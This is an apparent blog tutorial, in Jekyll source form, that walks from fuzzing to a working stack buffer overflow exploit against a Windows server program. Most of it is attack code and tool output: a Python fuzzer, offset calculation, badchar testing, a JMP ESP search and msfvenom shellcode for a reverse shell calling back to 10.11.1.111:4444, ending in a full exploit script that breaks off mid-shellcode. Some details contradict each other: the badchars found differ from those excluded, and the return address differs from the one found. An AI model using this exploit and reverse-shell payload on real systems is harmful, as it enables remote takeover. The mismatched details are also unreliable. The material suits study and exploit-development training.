Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
335 lines (295 sloc) 21.7 KB
author thumbnail comments date categories layout title site.url site.baseurl url featured-img excerpt header tags
matteo_malvica
logo
true
2017-07-04 11:08:06 +0000
tutorials
post
Stack Based Buffer Overflow - from fuzzing to exploit
avanzo.github.io
avanzo.github.io
avanzo.github.io
/assets/images/banner2.png
overlay_image image_description overlay_filter cta_label cta_url
/assets/images/header_nero_sito_1200px256px.jpg
A description of the image
rgba(0, 0, 0, 0.3)
@avanzo
exploit
fuzzing
bufferoverflow
security

This post is not meant to cover all the inner details about how the stack works behind the scene. However, this can be a starting point for anyone willing to understand basic fuzzing and debugging, and how a simple buffer overflow exploit can be crafted.
By definition, fuzzing is an "automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program".

{: .text-justify} 1. Fuzzing
For instance, we can begin to fuzz a vulnerable server program with the below skeleton code, which is taking as argument an IP address and the listening port.
The python fuzzer will probe the server and send bigger data, 10 bytes each time.
Both max_buffer and increment variable can be tuned to change the fuzzer behavior (faster vs more granular). While we fuzz/test the server, we attach the debugger at the running process and hope for a crash. A crash will occur if the server is not properly santizing user input and thus the Extended Instruction Pointer (EIP) can be overwritten with one of our "A"s. {: .text-justify}

{% highlight python%} #!/usr/bin/python import time, struct, sys import socket as so

Create an array of buffers, from 1 to 1000 elements, with increments of 200 bytes each.

buff=["A"]

max number of buffers in the array

max_buffer = 1000

initial value of the counter

counter=100

increment value

increment=200

while len(buff) <= max_buffer: buff.append("A"*counter) counter=counter+increment

for string in buff: try: server = sys.argv[1] port = sys.argv[2] except IndexError: print "[+] Usage %s host + port " % sys.argv[0] sys.exit()

print "Fuzzing with %s bytes" % len(string)
s = so.socket(so.AF_INET, so.SOCK_STREAM)
try:
    s.connect((server, port))
    print s.recv(1024)
    s.send( string+'\r\n')
    s.send('exit\r\n')
    print s.recv(1024)
except:
    print "[!] connection refused, check debugger"
    sys(exit)

{% endhighlight %}
2. What's up EIP?
If everything goes well we should see the EIP written with four times x41, which is the character 'A' in hexadecimal.
So, why do we care if the EIP get overwritten?
The EIP is one of many extended 32 bit registers part of the original 8086 16 bit architecture, which is responsible for executing the next program instruction.
As you might have guessed, replacing the EIP value means hijacking the application flow, which can in turn lead to arbitrary code execution.

{: .text-justify} 3. Measuring EIP offset
So, if we want to rewrite the EIP we must know the exact distance between our start buffer and the EIP itself.
A nice Ruby tool named 'pattern create', which is pre-installed in Kali Linux, can come to our aid.
Given a 'crasing buffer size' it will generate different pattern every 4 bytes, so the EIP will be colored with a specific pattern.
Let's say we managed to crash our server with 3000 bytes, then we can run:
{: .text-justify} {% highlight bash hl_lines="1 3 4" %} /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9 {% endhighlight %}

Now we can send this pattern through below exploit skeleton and then fire up our debugger and verify the EIP value. {: .text-justify}

{% highlight python hl_lines="1 3 4" %} #!/usr/bin/python import time, struct, sys import socket as so

list of ascii chars to test

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

define buffer content

req1 = pattern try: server = sys.argv[1] port = sys.argv[2] except IndexError: print "[+] Usage %s host %s port" % sys.argv[0],sys.argv[1] sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM) try: s.connect((server, port)) print repr(s.recv(1024)) s.send(req1) print repr(s.recv(1024)) except: print "[!] connection refused, check debugger" s.close() {% endhighlight %}


We have noted the EIP new value, which for the sake of this demonstration we assume is '33734232'. That value is a 4 bytes hex little endian representation of ascii characters in our pattern string. Now it's time to calculate the exact offset by using another Ruby tool, already present in Kali Linux.
{: .text-justify}

{% highlight bash hl_lines="1 3 4" %} /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 33734232 [*] Exact match at offset 1328 {% endhighlight %}


Great, so 1328 bytes is the offset needed to predictably overwrite the EIP.

4. EIP, obey your master!

Let's rewrite the script buffer variable to accommodate our new learned pattern offset + EIP value + room to fill the crash buffer
Our new buffer starts with a sequence of 1328 'A's, a special value to mark the EIP ('ABBA') and fill remaining space with a trail of 'C's.
We let Python calculate the offset for us by subtracting the two amounts from the original buffer length.
{: .text-justify} {% highlight python hl_lines="1 3 4" %} buff = "A"1328 + "ABBA" + "C"(3000-1328-4) {% endhighlight %}

The 'C' part of the buffer will be soon substituted with shellcode, which is typically between 300 and 500 bytes. In this case we have 1668 bytes, which is enough space to fit it. We now run again the script and verify that the EIP gets 'ABBA' as a value, which demonstrates we have control on program execution.
The ESP is a register that points to the beginning of our stack and is important to verify its location in memory with the debugger: in the best case scenario, as soon as our program stops at our newly rewritten EIP value, we should note that our 'C' trails is present right after execution. This means that if we could overwrite the EIP with a 'jump to ESP' instruction...

{: .text-justify} 5. Oh, what a badchar!

Before jumping to shellcode, let's test if there are any well known bad character, by including them all as a hex string variable in our PoC.
A bad char is simply an ascii character that can break code execution, such as 0x00 (Null) or 0x0A (line feed).
Bad characters can vary from application to application, so all of them should be tested. The badchar string is now replacing our ‘C’s, in our soon-to-be shellcode space. Every time a badchar is detected with the debugger, that character is simply not appearing int the dumped memory area, after following ESP.
If this is the case, that char should be removed from the list and we should proceed with the next debugging round, until the whole string is visible in memory. (with the obvious exception of the previously omitted chars.) {: .text-justify} {% highlight python hl_lines="1 3 4" %} badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buff = "A"*1328 + "ABBA" + badchars

{% endhighlight %}

After testing, we have discovered these two bad chars: x00 and x04

{: .text-justify} 6. Jump here, not there!

What is missing now is the return address used to overwrite the EIP, which will point to ESP to point to ESP each time the program is loaded.
However, the ESP value could change at runtime, due to stack based threaded behavior of some application or presence or ASLR/DEP Another approach would be to find a JMP_ESP in a preloaded DLL, as long as it has a fixed location in memory at each execution.
For example, Mona script, included inside Immunity Debugger, can help us find those instructions:
{: .text-justify} {% highlight bash hl_lines="1 3 4" %} !mona modules # find all modules loaded by the app

  • output omitted - Message= 0x64240000 | 0x6429e000 | 0x0005e000 | False | False | False | False | False | -1.0- [example_dll.dll] (C:\Users\admin\Desktop\example_dll.dll) {% endhighlight %}

Which returns only one module not having any protection mechanism enabled (the five times 'False' results)

Great! So now we just have to find a JUMP to ESP instruction in the 'example_dll.dll' module.
First, we have to translate JMP ESP to NASM syntax:
{: .text-justify} {% highlight bash hl_lines="1 3 4" %} /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > JMP ESP 00000000 FFE4 jmp esp {% endhighlight %}

So FFE4 is the hex opcode equivalent for the JMP ESP instruction.
Let's try to find with Immunity Debugger if in our running program there is any 'JMP ESP' and where is located in memory::

{% highlight bash hl_lines="1 3 4" %} !mona find -s "\xff\xe4" -m example_dll.dll Log data, item 3 Address=65226385 Message= 0x64246683 : "\xff\xe4" | {PAGE_EXECUTE_READ} [example_dll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False {% endhighlight %} So we found our return address to be 65226385, which will be stored in little endian format in our proof of concept script.

7.Enter the shellcode

Since we might have enough room to fit our shellcode in the ‘C’ place, we can proceed generating one with msfvenom, taking into account platform and architecture, in addition to bad characters discovered previously. The below code is spawning a reverse shell by connecting to the attacker address on TCP port 4444.
{: .text-justify} {% highlight bash hl_lines="1 3 4" %} msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4444 -b "\x00\x0a" -f python

Found 10 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1684 bytes buf = "" buf += "\xbf\x93\x3f\x5c\xec\xd9\xeb\xd9\x74\x24\xf4\x5a\x29" buf += "\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x51\x3b\xbe" buf += "\x19\xa9\xac\xbc\xe2\x51\x2d\xa1\x6b\xb4\x1c\xe1\x08" buf += "\xbd\x0f\xd1\x5b\x93\xa3\x9a\x0e\x07\x37\xee\x86\x28" buf += "\xf0\x45\xf1\x07\x01\xf5\xc1\x06\x81\x04\x16\xe8\xb8" buf += "\xc6\x6b\xe9\xfd\x3b\x81\xbb\x56\x37\x34\x2b\xd2\x0d" buf += "\x85\xc0\xa8\x80\x8d\x35\x78\xa2\xbc\xe8\xf2\xfd\x1e" buf += "\x0b\xd6\x75\x17\x13\x3b\xb3\xe1\xa8\x8f\x4f\xf0\x78" buf += "\xde\xb0\x5f\x45\xee\x42\xa1\x82\xc9\xbc\xd4\xfa\x29" buf += "\x40\xef\x39\x53\x9e\x7a\xd9\xf3\x55\xdc\x05\x05\xb9" buf += "\xbb\xce\x09\x76\xcf\x88\x0d\x89\x1c\xa3\x2a\x02\xa3" buf += "\x63\xbb\x50\x80\xa7\xe7\x03\xa9\xfe\x4d\xe5\xd6\xe0" buf += "\x2d\x5a\x73\x6b\xc3\x8f\x0e\x36\x8c\x7c\x23\xc8\x4c" buf += "\xeb\x34\xbb\x7e\xb4\xee\x53\x33\x3d\x29\xa4\x34\x14" buf += "\x8d\x3a\xcb\x97\xee\x13\x08\xc3\xbe\x0b\xb9\x6c\x55" buf += "\xcb\x46\xb9\xfa\x9b\xe8\x12\xbb\x4b\x49\xc3\x53\x81" buf += "\x46\x3c\x43\xaa\x8c\x55\xee\x51\x47\x50\xe4\x58\xf8" buf += "\x0c\xf8\x5a\x17\x91\x75\xbc\x7d\x39\xd0\x17\xea\xa0" buf += "\x79\xe3\x8b\x2d\x54\x8e\x8c\xa6\x5b\x6f\x42\x4f\x11" buf += "\x63\x33\xbf\x6c\xd9\x92\xc0\x5a\x75\x78\x52\x01\x85" buf += "\xf7\x4f\x9e\xd2\x50\xa1\xd7\xb6\x4c\x98\x41\xa4\x8c" buf += "\x7c\xa9\x6c\x4b\xbd\x34\x6d\x1e\xf9\x12\x7d\xe6\x02" buf += "\x1f\x29\xb6\x54\xc9\x87\x70\x0f\xbb\x71\x2b\xfc\x15" buf += "\x15\xaa\xce\xa5\x63\xb3\x1a\x50\x8b\x02\xf3\x25\xb4" buf += "\xab\x93\xa1\xcd\xd1\x03\x4d\x04\x52\x33\x04\x04\xf3" buf += "\xdc\xc1\xdd\x41\x81\xf1\x08\x85\xbc\x71\xb8\x76\x3b" buf += "\x69\xc9\x73\x07\x2d\x22\x0e\x18\xd8\x44\xbd\x19\xc9" {% endhighlight %}
Which gave us 351 bytes of Python-formatted shellcode, enough to fit in our script. We can further modify our PoC by inserting our return address and shellcode, together with 16 NOP, as a precautionary measure. {: .text-justify} {% highlight bash hl_lines="1 3 4" %} buff = "A"*1328 + " \x85\x63\x22\x65" + "\x90" * 16 + shellcode + "C" *(3000-1328-4) {% endhighlight %}
At this point we can feel confident enough to fire up our exploit while listening for a reverse shell on port 4444.
{: .text-justify} Here is the complete exploit:

{% highlight python hl_lines="1 3 4" %} #!/usr/bin/python import time, struct, sys import socket as so

shellcode = "" shellcode += "\xbf\x93\x3f\x5c\xec\xd9\xeb\xd9\x74\x24\xf4\x5a\x29" shellcode += "\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x51\x3b\xbe" shellcode += "\x19\xa9\xac\xbc\xe2\x51\x2d\xa1\x6b\xb4\x1c\xe1\x08" shellcode += "\xbd\x0f\xd1\x5b\x93\xa3\x9a\x0e\x07\x37\xee\x86\x28" shellcode += "\xf0\x45\xf1\x07\x01\xf5\xc1\x06\x81\x04\x16\xe8\xb8" shellcode += "\xc6\x6b\xe9\xfd\x3b\x81\xbb\x56\x37\x34\x2b\xd2\x0d" shellcode += "\x85\xc0\xa8\x80\x8d\x35\x78\xa2\xbc\xe8\xf2\xfd\x1e" shellcode += "\x0b\xd6\x75\x17\x13\x3b\xb3\xe1\xa8\x8f\x4f\xf0\x78" shellcode += "\xde\xb0\x5f\x45\xee\x42\xa1\x82\xc9\xbc\xd4\xfa\x29" shellcode += "\x40\xef\x39\x53\x9e\x7a\xd9\xf3\x55\xdc\x05\x05\xb9" shellcode += "\xbb\xce\x09\x76\xcf\x88\x0d\x89\x1c\xa3\x2a\x02\xa3" shellcode += "\x63\xbb\x50\x80\xa7\xe7\x03\xa9\xfe\x4d\xe5\xd6\xe0" shellcode += "\x2d\x5a\x73\x6b\xc3\x8f\x0e\x36\x8c\x7c\x23\xc8\x4c" shellcode += "\xeb\x34\xbb\x7e\xb4\xee\x53\x33\x3d\x29\xa4\x34\x14" shellcode += "\x8d\x3a\xcb\x97\xee\x13\x08\xc3\xbe\x0b\xb9\x6c\x55" shellcode += "\xcb\x46\xb9\xfa\x9b\xe8\x12\xbb\x4b\x49\xc3\x53\x81" shellcode += "\x46\x3c\x43\xaa\x8c\x55\xee\x51\x47\x50\xe4\x58\xf8" shellcode += "\x0c\xf8\x5a\x17\x91\x75\xbc\x7d\x39\xd0\x17\xea\xa0" shellcode += "\x79\xe3\x8b\x2d\x54\x8e\x8c\xa6\x5b\x6f\x42\x4f\x11" shellcode += "\x63\x33\xbf\x6c\xd9\x92\xc0\x5a\x75\x78\x52\x01\x85" shellcode += "\xf7\x4f\x9e\xd2\x50\xa1\xd7\xb6\x4c\x98\x41\xa4\x8c" shellcode += 